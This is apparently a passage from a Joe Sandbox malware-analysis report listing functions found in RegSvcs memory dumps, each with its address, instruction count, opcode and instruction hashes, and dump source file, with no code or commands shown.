                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c60203e5365db8cef05a5840883440b45c4d086726bc9350382b566555170527
                                                                • Instruction ID: 4bbc0e0a4bd0885d875b38cc75f6dc712c6a61b83b9775f2d327ad851f54c13a
                                                                • Opcode Fuzzy Hash: c60203e5365db8cef05a5840883440b45c4d086726bc9350382b566555170527
                                                                • Instruction Fuzzy Hash: 80214A35B112048FCB48EB79C4919AE7BF6EFCC750B2415A9E406E73A5DB359C058B60
                                                                Function 00D44311 Relevance: .1, Instructions: 69COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 0c2fb35f4ffcc7f9d4865f3d6191533fe40c496a7d20821c706c5587edeb632b
                                                                • Instruction ID: b6d696f37d5e238865269e5a9fe3124d96b0e50560a582a8a4c8d9f5f8e1da3a
                                                                • Opcode Fuzzy Hash: 0c2fb35f4ffcc7f9d4865f3d6191533fe40c496a7d20821c706c5587edeb632b
                                                                • Instruction Fuzzy Hash: 8411E0307502425BC706ABBDA8A46AF7BE3EFC6704709817AE056CB346EE749C068790
                                                                Function 00D413E8 Relevance: .1, Instructions: 63COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: d2e5aa96d799bd0aee5c5d75ba67a9c18476942b2e2a6c555bfd9424a2d569a9
                                                                • Instruction ID: 4ce1003dbf8ff0476708fb2672663eaeac5d9259bbd4a8da4b5e07072df1b708
                                                                • Opcode Fuzzy Hash: d2e5aa96d799bd0aee5c5d75ba67a9c18476942b2e2a6c555bfd9424a2d569a9
                                                                • Instruction Fuzzy Hash: CB2125B5C0434A8FDB10CFA9C4457EEBFF0AF48320F24855AD518A7641D778A580CFA1
                                                                Function 00D4C9FF Relevance: .1, Instructions: 60COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 32a62b1cecc9a1c4d55ac83f752efbc08fcd974f6886c2c31e50d6f03e8695c0
                                                                • Instruction ID: 3dda33f404557f92a6aaa51f7ff2192c063accf630147ff8bd8571223e5d0d4a
                                                                • Opcode Fuzzy Hash: 32a62b1cecc9a1c4d55ac83f752efbc08fcd974f6886c2c31e50d6f03e8695c0
                                                                • Instruction Fuzzy Hash: 96110476D11289AFDB11DBA4C8615EEBFB59F45300F0448A9D441E7342EE701A0ADBA0
                                                                Function 00D40990 Relevance: .1, Instructions: 57COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7298bceb3f9e61139492587985b39c96ca7a4d0671a494b69231441ca5e74fd1
                                                                • Instruction ID: d8da61e29ecb73958cea3c7ebdcafb250be6b7787986264e224a894f56ec8d98
                                                                • Opcode Fuzzy Hash: 7298bceb3f9e61139492587985b39c96ca7a4d0671a494b69231441ca5e74fd1
                                                                • Instruction Fuzzy Hash: 0A21CF7091060ADFDB45FF68E84169D7FB2FB84304F1096ADD115AB26AEBB45A06CF80
                                                                Function 00D4098F Relevance: .1, Instructions: 57COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: b932ce69cf54a6a385d0726baf7252caf1440956179d7b137ef43f7300a42dc6
                                                                • Instruction ID: 3bebf9e5aaf576b5353de433acf02607dde0785df903fde2885da7d085389a29
                                                                • Opcode Fuzzy Hash: b932ce69cf54a6a385d0726baf7252caf1440956179d7b137ef43f7300a42dc6
                                                                • Instruction Fuzzy Hash: 8021FF7091060ADFDF45FF68E84069D7FB2FB84304F1096ADD115AB26AEBB45A06CF80
                                                                Function 00D44340 Relevance: .1, Instructions: 54COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 0f5265b6659b20ff68d36e98fcf10b199be8ecef8ca627a67c92ce262b4ab0c8
                                                                • Instruction ID: 73676d57a37684e23e43c10049a82242322e9e44aba7796033c9c03d3ce716e5
                                                                • Opcode Fuzzy Hash: 0f5265b6659b20ff68d36e98fcf10b199be8ecef8ca627a67c92ce262b4ab0c8
                                                                • Instruction Fuzzy Hash: 1301DF31750602579709BABDA8A466F3ADBEBC9B14318813DE116CB345EEB8DC0247D1
                                                                Function 00D42704 Relevance: .1, Instructions: 54COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: cbfbc1658ceabcede3fe1ff4ac0659c078890650bfa50be9799aa65c747112f2
                                                                • Instruction ID: 0ef20246c7b4af080e569e95b315cc6ec6ad17d3ac7c9bf71818d49aecb62119
                                                                • Opcode Fuzzy Hash: cbfbc1658ceabcede3fe1ff4ac0659c078890650bfa50be9799aa65c747112f2
                                                                • Instruction Fuzzy Hash: 4911A332D0978A4BCF129BB9CC102CDBF759F8B310F168693C150BB192EA742549C761
                                                                Function 00D43B3B Relevance: .1, Instructions: 53COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 40bcf2a40ae8e2f0c4995321dfaadec87fa273eed8fc622ea77be8c59be53613
                                                                • Instruction ID: 3bb6623a573881fbef110f6adbd89013ca63629e772f3c0c042003c776c9ab04
                                                                • Opcode Fuzzy Hash: 40bcf2a40ae8e2f0c4995321dfaadec87fa273eed8fc622ea77be8c59be53613
                                                                • Instruction Fuzzy Hash: 4711A032D0578A9BCB029BB9DC402CDFFB6AF8A310F254792D11077192E774294AC761
                                                                Function 00D4282F Relevance: .1, Instructions: 52COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: f4318755acf9f11b568bbff24ff07e62f324d6a405c33111f4818dd4620d7e45
                                                                • Instruction ID: c0cbd60a50610f89034ec537fa2b04664927602895d31cac91696cecbd0df1ba
                                                                • Opcode Fuzzy Hash: f4318755acf9f11b568bbff24ff07e62f324d6a405c33111f4818dd4620d7e45
                                                                • Instruction Fuzzy Hash: 97118271A002088FDB05CF58D9809EEBBF6EF8D310F5981A9E505A7361C7319D48CF60
                                                                Function 00D42B01 Relevance: .1, Instructions: 52COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: b8d909c2035b20150e9a97cdbdedebf6cc2a9814a3ff5584f309298d5f473e3b
                                                                • Instruction ID: 9bb6f37114ed48836144a512c2e4dcb7c1f7e11aa17a5a7855e2d101b851c60e
                                                                • Opcode Fuzzy Hash: b8d909c2035b20150e9a97cdbdedebf6cc2a9814a3ff5584f309298d5f473e3b
                                                                • Instruction Fuzzy Hash: 0E11A132D0564ADBCF11CBA9DC402DDFBB6AFC6310F554356D11077291EB70290AC761
                                                                Function 00D41DD0 Relevance: .1, Instructions: 51COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 5339f3eab7547e12f74309822b4c89b15cfe8c3a260a570afbfd99f807251f54
                                                                • Instruction ID: 92b23583d9cc763e69b9175808af04c86f2c1679a42914a649909a0f947801c6
                                                                • Opcode Fuzzy Hash: 5339f3eab7547e12f74309822b4c89b15cfe8c3a260a570afbfd99f807251f54
                                                                • Instruction Fuzzy Hash: 1D116571D1060E9BCF00DFA9D8805DDFBB6EF99320F614626E514B7250E7707A4ACB50
                                                                Function 00D41DCF Relevance: .1, Instructions: 51COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: a79737bb002a3bf0ba3ec6441b660b9e883539bfd230b30fcb17776b7f955fed
                                                                • Instruction ID: 13159ad32e63d4f8f7936c8ef1e51fc03735dc3373250dbc5efb68ebe707d527
                                                                • Opcode Fuzzy Hash: a79737bb002a3bf0ba3ec6441b660b9e883539bfd230b30fcb17776b7f955fed
                                                                • Instruction Fuzzy Hash: FC11A531D0060E9BCF00DFA8D8805DDFBB6EF99310F214726E514B3250E7706A4ACB50
                                                                Function 00D4A7C7 Relevance: .0, Instructions: 50COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 8b8b5832122b927a029bc9ac52d9efe206bc2441c1d5b089543079ce8b399900
                                                                • Instruction ID: d6032c907de9877b5b406f3bc02e0f18291c1edb18f4fb6a551b76a0372b1b3b
                                                                • Opcode Fuzzy Hash: 8b8b5832122b927a029bc9ac52d9efe206bc2441c1d5b089543079ce8b399900
                                                                • Instruction Fuzzy Hash: 31115E36E1061D9BDF01DFA9D8404CDFBF2EF89310F258626D515B7250EBB029568B50
                                                                Function 00D4A7C8 Relevance: .0, Instructions: 50COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 18bcffca19a3f8ac43c263eecd16f3aaba081f626cf764d07a92b8671995ec34
                                                                • Instruction ID: ef5fbd02843e4a096eb0f7103408427be0f7d89269a6d7d516d1b435f5d26e64
                                                                • Opcode Fuzzy Hash: 18bcffca19a3f8ac43c263eecd16f3aaba081f626cf764d07a92b8671995ec34
                                                                • Instruction Fuzzy Hash: 95116D36E1061D9BDF01DFA9D8404CDFBF6EF89310F218626E515B7250EBB069568BA0
                                                                Function 00D4BF60 Relevance: .0, Instructions: 49COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 69dbd2dd8fbe3912155f1fc013854e45813369d8de222edd31da54e2e9e49383
                                                                • Instruction ID: 3d245f688a2ee4282561a1e868e7d0b853e1c249149cf42b292ef94edaa7207f
                                                                • Opcode Fuzzy Hash: 69dbd2dd8fbe3912155f1fc013854e45813369d8de222edd31da54e2e9e49383
                                                                • Instruction Fuzzy Hash: 0301CC32D0064A9ACF068FB8DC500CDFBB6EF8A320F15476AD110771A0E770258ACB61
                                                                Function 00D4A388 Relevance: .0, Instructions: 48COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7312f28419a855ac298cebcdf5be1fcc551d34c7a9c2a36d0ee7c7b7ae016081
                                                                • Instruction ID: 3ed4eede28ac7dde32a5a3c21e11f3a37539af6b255d0011367d15ac9603453a
                                                                • Opcode Fuzzy Hash: 7312f28419a855ac298cebcdf5be1fcc551d34c7a9c2a36d0ee7c7b7ae016081
                                                                • Instruction Fuzzy Hash: D601CC32D1464A8ACF068FB8EC501CCFBB2EF8A320F594767D110B71A1E7702589CB60
                                                                Function 00D4899C Relevance: .0, Instructions: 47COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 4cd70714f5910e5691b799c55d630a3ebff7ab4e607a377b2f74a27d17915009
                                                                • Instruction ID: 0d7e4f06c92f4a450a158649b54d1340d6f8bf2d206133367910c90a4657785e
                                                                • Opcode Fuzzy Hash: 4cd70714f5910e5691b799c55d630a3ebff7ab4e607a377b2f74a27d17915009
                                                                • Instruction Fuzzy Hash: 261133B18007098FDB20DF9AC544BDEBBF4EF48320F208419D519A7310D3B9A944CFA0
                                                                Function 00D420D7 Relevance: .0, Instructions: 46COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 299153fddda79fb9f146bb2bd3232b36f672eeb9c101fb05940038b8f00b8568
                                                                • Instruction ID: 0507f337fbfee140beec74138a40987de7abae5b67c7d5ef342a0ecf3be6886b
                                                                • Opcode Fuzzy Hash: 299153fddda79fb9f146bb2bd3232b36f672eeb9c101fb05940038b8f00b8568
                                                                • Instruction Fuzzy Hash: 94012932D1161D9ACF11DFA9DC804CDFBB6FF99310F654626E111B7250EA70294ACBA0
                                                                Function 00CAD615 Relevance: .0, Instructions: 45COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3426758092.0000000000CAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CAD000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_cad000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: fe04c03c0d497f8dec5031097a7a691acf6a6bd0dd3d2e46a6b1a6a6b2621d1c
                                                                • Instruction ID: 611449e08ec3dfd90ad0a0a4553351c013c74cdbd820e827adf605697074f3c1
                                                                • Opcode Fuzzy Hash: fe04c03c0d497f8dec5031097a7a691acf6a6bd0dd3d2e46a6b1a6a6b2621d1c
                                                                • Instruction Fuzzy Hash: 6101DB71404345DAF7104E26CE84B66BF9CDF42368F18C81AFE1F5A592C6B99940C6B1
                                                                Function 00D4D013 Relevance: .0, Instructions: 44COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 9d8b02f75b4e1017b0297e1512697fe130ecec30cb7cdfda0ff96eacaf53a099
                                                                • Instruction ID: 5fefd4a6b4d996adda1baaecac71461ad3737dd8d3869ed2139eb3ede3d2f910
                                                                • Opcode Fuzzy Hash: 9d8b02f75b4e1017b0297e1512697fe130ecec30cb7cdfda0ff96eacaf53a099
                                                                • Instruction Fuzzy Hash: A31133B1D006498FDB20DFAAC5847DEBBF4AF48324F24841AD519A7310C779A944CFA0
                                                                Function 00D44F78 Relevance: .0, Instructions: 44COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 6803c7f0045bd4608396c3861b01cab8afb835e797b8f8bc9eff0be45d951b3e
                                                                • Instruction ID: 460ad3853c030e6c165fdef7954f8bdab71eca49fa92b6092965e10f804bb7d4
                                                                • Opcode Fuzzy Hash: 6803c7f0045bd4608396c3861b01cab8afb835e797b8f8bc9eff0be45d951b3e
                                                                • Instruction Fuzzy Hash: 0B01DA32D1069A9BCF028BB8DC405DDFBB2AFCA301F554B66D0107B1A0EB70264AC751
                                                                Function 00D4B380 Relevance: .0, Instructions: 43COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1496dba1e1d396d3387b6f40bb50c4932f75af591cfe99e6248d487171f5af97
                                                                • Instruction ID: deaf95fea67e8edbf6feb6b9cc35e7601fa2a0c3f2299cf861d52e9d6d8772cf
                                                                • Opcode Fuzzy Hash: 1496dba1e1d396d3387b6f40bb50c4932f75af591cfe99e6248d487171f5af97
                                                                • Instruction Fuzzy Hash: 48012C32D1060D96CF11DFA9D9804CDFBB6EF99320F650626D20577150EB703A4A8750
                                                                Function 00D43B50 Relevance: .0, Instructions: 43COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3a0ee2c9307abb4c28f7e1c2986a682f6b7c8a4605e8d0cb0ed408b1583088af
                                                                • Instruction ID: daaa4554c829b539103ea6a84e86e9289769a25feecd95b0cdf46e57e20c6b10
                                                                • Opcode Fuzzy Hash: 3a0ee2c9307abb4c28f7e1c2986a682f6b7c8a4605e8d0cb0ed408b1583088af
                                                                • Instruction Fuzzy Hash: 5C018F32D0160E97CF00DBA9D9400DDFBB6EFC9310F614726E11473150EB702A4A8751
                                                                Function 00D4B37F Relevance: .0, Instructions: 43COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c5b82a6322e20d32060dc92445150dbfdc8b6bf23b10c3b79dcca61074269aac
                                                                • Instruction ID: aabb3bc432ca97039ab8bc0dceedd234f19f7fdee0d2fd7c79ef503f157ec60e
                                                                • Opcode Fuzzy Hash: c5b82a6322e20d32060dc92445150dbfdc8b6bf23b10c3b79dcca61074269aac
                                                                • Instruction Fuzzy Hash: 3A011A32D116499ACF11DBA9D9804DDFBB2EF99310F650726D10577150EAB02A4A8B50
                                                                Function 00D49E9F Relevance: .0, Instructions: 43COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c49eaac37e80354bcfd2575069d46cbd2128152575e89c1101d5f076c5cb1c2e
                                                                • Instruction ID: 9aa9a850b6ad36098233cd77012c81f3fb5a3d1dde0f33f4e2d6420cdea3abdd
                                                                • Opcode Fuzzy Hash: c49eaac37e80354bcfd2575069d46cbd2128152575e89c1101d5f076c5cb1c2e
                                                                • Instruction Fuzzy Hash: 40018F32D0160E9ACF01DBA9D8804DDFBB6EFD9310F654726E11173150EBB02A4ACB50
                                                                Function 00D49EA0 Relevance: .0, Instructions: 43COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: dd3f033871a0e2ec35889c97caa4fce1fa2e7d4146bc2f22681c3fe7fee372b6
                                                                • Instruction ID: e2d04ecfdd808da5543bfeb41ec821b87f53bf895fa91ce810755ae5395c7a6d
                                                                • Opcode Fuzzy Hash: dd3f033871a0e2ec35889c97caa4fce1fa2e7d4146bc2f22681c3fe7fee372b6
                                                                • Instruction Fuzzy Hash: 49018F32D0160E97CF00DBA9D8400DDFBB6EFC9310F614726E11073150EB702A4A8790
                                                                Function 00D49FAF Relevance: .0, Instructions: 43COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 321a44d6fcb304898ebcfdf01157afef29f3bbef9f6d3f4902eda0096f1251f8
                                                                • Instruction ID: 551fff0dcc103910b4d2e7297d6d8b2fe70659a3ca7cfb14d8915f9f4a03e98a
                                                                • Opcode Fuzzy Hash: 321a44d6fcb304898ebcfdf01157afef29f3bbef9f6d3f4902eda0096f1251f8
                                                                • Instruction Fuzzy Hash: D8018C35A006188FCF25CF69C8409DABBF2FF88310F14866ED486A7655D731AD05CFA1
                                                                Function 00D4BF70 Relevance: .0, Instructions: 43COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: cd2a36881de01a37a892d23585985f472b09721b64faf6b938f4885ddfc5286b
                                                                • Instruction ID: f8e404ab80a49513193c59bfa8bf8b966932fb666abd149c65738c0875e406e3
                                                                • Opcode Fuzzy Hash: cd2a36881de01a37a892d23585985f472b09721b64faf6b938f4885ddfc5286b
                                                                • Instruction Fuzzy Hash: 5E012832D1061E9ACF159FA9DC404CDFBB6EF89320F554B26E21577150EB702589CBA0
                                                                Function 00D45C49 Relevance: .0, Instructions: 42COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 523bfce0e8e8b8f4f49edf65f5511ef6570cb953b3e65ba89db4b02362aa9df0
                                                                • Instruction ID: bb8ec934e9e1064ada1c0d60f899c4273f0ac25a939fc9bf758ed821c4c7d4b8
                                                                • Opcode Fuzzy Hash: 523bfce0e8e8b8f4f49edf65f5511ef6570cb953b3e65ba89db4b02362aa9df0
                                                                • Instruction Fuzzy Hash: BD01BC32D0464A8BCF019BB8DC505DEFBB2AFCA300F558726C1117B0A0E7702189CBA1
                                                                Function 00D457A7 Relevance: .0, Instructions: 42COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: f57045b7253ef411c3beba57a633c1a58498c5b9116201a71f3ca55586a33ddf
                                                                • Instruction ID: d52c0597d4280dc54ea735f91220937ceef1b83eb7af9d6fa93e9a5d48643cb2
                                                                • Opcode Fuzzy Hash: f57045b7253ef411c3beba57a633c1a58498c5b9116201a71f3ca55586a33ddf
                                                                • Instruction Fuzzy Hash: E7016232E1464E8BCF11DBB9D8405DEFBB2AFD9310F218726D51177150EB702559CBA1
                                                                Function 00D457A8 Relevance: .0, Instructions: 42COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 4f30637b4b8e3301017e566a62c0a4b5fd105a2623f601ca5645293784c1a176
                                                                • Instruction ID: 73fca06c41e442fd306645ca080add3cf2a7e5deecc748f113d5ed4ae208b5eb
                                                                • Opcode Fuzzy Hash: 4f30637b4b8e3301017e566a62c0a4b5fd105a2623f601ca5645293784c1a176
                                                                • Instruction Fuzzy Hash: B7014B32E1060E87CF11DBB9D8405DEF7B6AFCA310F618726D61177250EB702599CBA1
                                                                Function 00D4CF00 Relevance: .0, Instructions: 42COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
